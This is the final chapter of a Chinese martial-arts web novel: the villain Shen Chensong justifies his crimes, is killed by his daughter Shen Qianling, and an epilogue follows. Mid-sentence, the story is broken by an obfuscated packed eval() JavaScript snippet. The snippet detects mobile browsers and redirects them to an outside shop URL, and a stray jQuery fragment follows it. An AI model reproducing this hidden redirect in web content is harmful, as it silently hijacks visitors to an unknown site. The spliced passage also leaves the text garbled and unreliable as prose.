“果真瞒不过你。”沈尘松眼角弯起,浑浊的眼中涌出欣赏之意。
他转过身去,望向另一个方向,眼眸渐渐冷肃,仿佛已陷入了回忆中,“我,曾十年苦读,三度赴考,终于一朝折桂,名列贡榜。本来以为从此能一飞冲天,前程坦荡。谁知——贡生之名被人以二百两就顶替了,我到处找官府跪地申冤,却屡屡被拒,最后被恶人赶狗一样逐出临安。”他老脸平淡,似是在提一件无关紧要的事情,“我仕途末路,转而投入江湖,却因为习武较晚,被各大派拒之门外。几经辗转,最后拜入一无名小派,又被嘲弄是一介书生,处处欺压于我。原来,没有出身,又性格懦弱的我,在哪里都会受到一样的待遇。这世间的潜规则,皆是通用!”
他霍然转回身来,眼底涌起一片狠厉,“我便开始效仿那冒名顶替之人,改名换姓,编造来历出身,果然受人重视,得人举荐,拜入剑宗派。可是——”他缓缓仰头,脸上皱纹纵横,饱经风霜,“我日夜勤学武功,带伤苦练,却始终困于这樊笼之中,籍籍无名,而内门弟子们,动动手脚,便能得到宗派真传,只一现身,便能声名远扬?那时我不服啊!我发誓,若我能掌控规则,一定要改变不平风气!”
“后来在广陵,结识颜玉瑄、秦月寒二人。彼时我们志向相投,便歃血为盟,结为了异性兄弟,说好要一起做番大事——于是,动了童生门。自此我扬名天下,娶了蒋掌门的爱女为妻,本以为命运已改,前路尽在掌握。谁知——剑宗派的高高在上,才是最能杀人的利器!!你们知道那种从骨子里透出的轻视吗?是所有人都看的见你,却看不到你,是内门弟子们,形若高墙,无声的告诉你,你,与他们不是一个阶次!”
“我当然难忍!我要站得足够高,才能让他们平视我。然后一个大胆的计划自然就在脑中出现,这条路需要有人牺牲,那就牺牲恶名昭彰的魔教好了,第一次围剿后,我如愿成为武林盟主。你们真应该看看那时候众人的脸色……哈……此子也配?可我成也!此后我以‘平’字管理武林盟,肃令盟中弟子,以维护公正为己任,行平等之风,所以他们行走江湖,惩凶除恶,执法严明,毫无骄风……这些,你们看到了吗?试想这样一个大门派、新武林,你们不期待吗?”
话落,久久无声。
众人不知该为他的境遇悲哀,还是该为他的遭遇同情。
沈千铃听完这番言论,心情也极为复杂,原来成为武林之主的背后,是这样一条浊路。可是,不管什么借口,都不能成为他滥杀无辜的原因!她收紧拳头,眼底通红,“你的公正平等,为何要牺牲魔教的人,他们不知,不懂,就活该去死吗?魔君,秦月寒,还有我大哥,他们也该死吗?你的公正平等,对他们公正吗?平等吗?”
沈尘松面对质问,依旧面不改色,“欲成大事,不择手段。”
“错。”站在一旁的谢亭云缓缓吐出一字,像一块巨石砸下。
此刻他与对面人的执棋位置仿佛又发生了改变,但棋局已定。
“何处错了?”
“全错。”谢亭云看向他,浅淡的眸底一片清明,“各派不会统一、武林不会统一、人心更不会统一。龙生九子,各有不同,没有内外门之分,人们就能受到公平对待了?惩凶除恶,人们就能和平共处?统一向善了?”他淡漠的目光中,透着一丝悲悯,“你大错特错,懦弱会滋生跋扈,善会滋生恶,命数,天道,人性不会更改,人们也不会被拯救,更不会被改变。”
此话如一记重锤,给了沈尘松狠狠一击,他沉着的面具终是裂开一丝缝隙,严肃道:“等我成为最强的掌控者,立下最公平的规矩,就不会心生不平,就可以改变!”
谢亭云见他如此执迷不悟,缓缓敛去眼中的情绪,知道人心难改,多说无益,最后道:“你能控制他们做事,能控制他们的心?你创办武林大会,制定公平比武规则,可暗中冒名顶替、暗动签表者,不计其数。你废掉内外门之分,各派就没有亲疏之别了?你除掉魔教,武林就再没有恶派了?”
“你想以公平行事,可公平本身没有衡量,时也,命也,运也,生而不同,自是不公。不公来自失衡,可强与弱,恶与善,都不会因为改变而消失,唯有包容。枉你一路苦难,却没有大彻大悟!”
沈尘松混浊的眼底,泛起一丝难以置信,“包容不平?包容恶?!”
“包容绝非姑息。”他神色冷淡道:“而在深知。了解善恶,洞察公否,只有经历一切,参透表象,才明白如何去对抗恶与不公。不要试图改变它,但要有能力保护善与公。”
这也是他一直践行的准则。
沈尘松微微眯起双眼,眼神忽明忽暗,仿佛陷入了自己布下的迷障里。片刻后,他望向谢亭云,知道这是一番通透的见解。但他仍然心有不甘,眼中一道精光划过,“我们都没有成为至高无上的掌权者,何言谁对谁错?”
“若你执着于权,何必以公正平等为借口?”
“我偏要一试!”沈尘松突然疾速冲来,出手欲抓住谢亭云,却被沈千铃一掌拦下。
她踏前一步,挡在谢亭云身前。
沈尘松被一掌击退,踉跄数步方站稳身形,他目光沉痛道:“千铃,你要对我动手?”
沈千铃鼻子一酸,两眼通红,她从没想过一身的武功,最终,掌之所向的是至亲。她缓缓闭上痛苦的眼眸,脑中掠过爹爱她,护她的种种场面。可随即,温馨的过往被一片血色淹没,那无数因他而死的尸体,令她通体生寒。再睁眼时,眼底一片冰冷,她沉声道:
“我没办法对你出手,但我,必须要为大哥报仇。”
这句话似耗费了她全部的支撑和伪装,眼泪顺着眼角滑下。
沈尘松仰天深吸一口气,仿佛要将满身的罪孽压下。他猛地抓起地上的刀,纵身一跃,直冲向她。
谢停云手势一抬,让身后的抬轿人迎敌,他深知沈千铃的痛苦和挣扎,不忍她亲自动手。然而,身旁的沈千铃却伸出手臂挡住了,直面道:“我来。”人终是要做出选择,这次她不再逃避。说着,她已聚力于掌,眼神坚定的迎上去。
沈尘松的刀锋似有劈天之势,她五指聚力如硬钩,竟也压不住他刚猛的力道。刀尖瞬间压入掌心,血珠喷溅而出。
她顺势抽身旋退,但那有千钧之重的刀势在沈尘松手中,却又变得灵巧起来,刀光一转,反撩而上。沈千铃的掌法顿时被限制住了,处处被凌厉的刀锋压制,无法再近身攻击。
这时,一道白影猛地窜出,一把劲力萦绕的短刀横在沈尘松刀下,那张比美人还美的脸上,星辰般的眼眸露出浓烈的恨意,冷冷道:“我来。”
唐秦之前被抓,因遇到谢亭云,一路跟着他,所以才没像上官玲珑一样中毒,此刻见到杀害师父的真正仇人,不管不顾的就冲了上来。
可他毕竟年少,刀法青涩,与沈尘松的刚猛的刀势相比,很快落了下风,身上划出数道血痕,唐秦红着眼,任由四肢鲜血直流,也要紧追不舍。
沈尘松眼里闪过一抹杀意,一记反手刀,竟直接插入唐秦胸口,沈千铃立刻接住唐秦,沈尘松顺势横扫刀锋,擦着沈千铃的脖子而去。
千钧一发之际,一道剑光坠下,满身是血的蒋夫人拦下这致命一刀。
众人看到蒋夫人跃来,下意识看向殷双寒,他和蒋夫人皆是一身血,单膝跪地,已无力再战。
而蒋夫人一身杀气,手中长剑微颤,劲力在剑身翻涌不息,她凶狠的目光像要把沈尘松宰了,抬剑便刺过去!
一时间,刀光剑影交织在一起,只见一紫一白两道身影疏忽交错,战作一团。众人惊叹,谁也没想到,沈尘松不仅阴险狡诈,功夫也深藏不露。
且不说内力深厚,就这一身刀法,已和血刀门门主不相上下了。
忽得刀光一闪,紫影被刀劈中,直直坠地。蒋夫人捂住腹部流出的血,刚以剑撑地艰难起身,沈尘松的刀已架在她脖颈上。
他束起的发丝纹丝不乱,眼底却骤然深沉,露出一抹寒光。此刻他已经没有回头路,这里的人必须都得死。他目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058511|194937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光转向交战中的剑宗派弟子,厉喝道:“放下剑!”
“不可……”蒋夫人刚发出声,脖间就渗出血来。
剑宗派弟子们见状,担心沈尘松真会痛下杀手,一个个迟疑的停下来,他们手中的剑刚放下,立刻被敌人一刀抹了脖子。
眼见门下弟子接连下去,蒋惠禾眼中悲愤交加,抓起长剑,化作一道决绝的剑气直刺沈尘松,要与他同归于尽!
就在这时,沈千铃快速掠去,一掌直逼沈尘松,双掌交击,气劲翻涌,浩荡的掌风将沈尘松震得倒退出去,硬生生救下蒋夫人。她看着那道踉跄的身影,双目渐红,全身气血沸腾,她已不再心存侥幸,也不会再手下留情了,她双掌聚起全力,再次倾泻击出,两人硬碰硬得交错在一起,掌风呼啸间,她的右掌,携着血光,如一尊血佛真身,带着所有的痛苦和愤怒,猛地击出——
‘砰’得一声巨响,一道血掌印牢牢印在沈尘松的胸口,掌力穿透身体,他仿佛被定住了,一声都发不出来,嘴里涌出大口大口的鲜血。
这才是真正的黄泉诏!
一掌毙命!!
看着沈尘松满眼不甘的倒在血泊中,沈千铃的双眼渐渐清明。
她瞬间失去了所有支撑的力量,瘫软跪地。
耳边是活下来的人们的痛快声。
她却怔怔,看着满地的鲜血和尸体,两眼不自觉的流下泪水。
为什么事情已经真相大白,为什么凶手已经得到了惩罚,她却还是觉得痛苦,甚至是,前所未有的孤独。
她失去了爹,失去了大哥,失去了曾经最疼爱她的人啊!
她的心,又痛,又疼,快要被淹没了。
这时,一只大手缓缓朝她伸来,她抬起头,撞入了一双清浅的眸子中,那柔和的目光,让她的委屈有了发泄地,也让她感到了一丝暖意……
‘除魔’大战已过去三日。
当日中毒之人陆续从谢亭云手中拿到解药,各自散去,未再追究魔教过往。而魔教,也已名存实亡。
谢亭云曾追问过殷双寒,“魔君与金国,究竟有何关联?”他的武器来自金国,三尾蝎毒,也来自金国,种种痕迹指向,他与金国牵连甚深。
殷双寒却只了无牵挂的合上双眼,举刀自裁而亡。
江湖,仿佛一下子重归平静。
十里山最高处的山顶,沈千铃一袭黑衣,裹着白狐毛斗篷,立于天地之间。她垂眸看着脚下云云,眼中依旧带着浓浓的痛楚。
有些伤痛看似过去,其实永远留在了心底。
身后传来熟悉的脚步声,谢亭云与她并肩而立,静默中,听到她一声叹息,他望着云海,缓缓道:“天朝来年春天要在边境举办赛马节,届时将开放我朝和金国边界,可以纵马牧羊,围猎麋鹿,可要一游?”
沈千铃抬眸瞥他一眼,这人……真是了解她啊。可是她的头微微一低,脑中想到的却是那些教众们期盼的目光,一股沉重压在她心头,她语气恹恹道:“我走了,魔教怎么办?”
谢亭云淡淡问道:“你想将魔教发扬光大?”
她摇了摇头。
他细思片刻,沉声道:“若只想求魔教长久平安,不如为其更名。数十年长河过后,前尘往事,自会湮灭无痕,武林还会出现新的魔教。即使你不是新主,以你之威名,也可护它百年,百年之后,天知道如何。”
沈千铃闻言颦眉,忽觉他的说法与沈尘松有异曲同工之处,但是方法动机不一样,导致的结果也会不一样。她从未想过做魔教教主,也不想承担魔教的责任,这样安排或许是最好的结果了。
想通后,她长舒一口浊气,嘴角弯起,鼻尖那颗浅痣也跟着轻松起来,只是眼底再也亮不起明媚的光了。她伸手指向远方:“好,我们一路往金国去,游山玩水,行侠仗义,做一对江湖野侠,我罩着你!”
谢亭云侧目看着她,那娇俏的小脸终于恢复了一些生机,他恍然间,想起二人初次相遇的场景,目光变得更柔和起来。
完。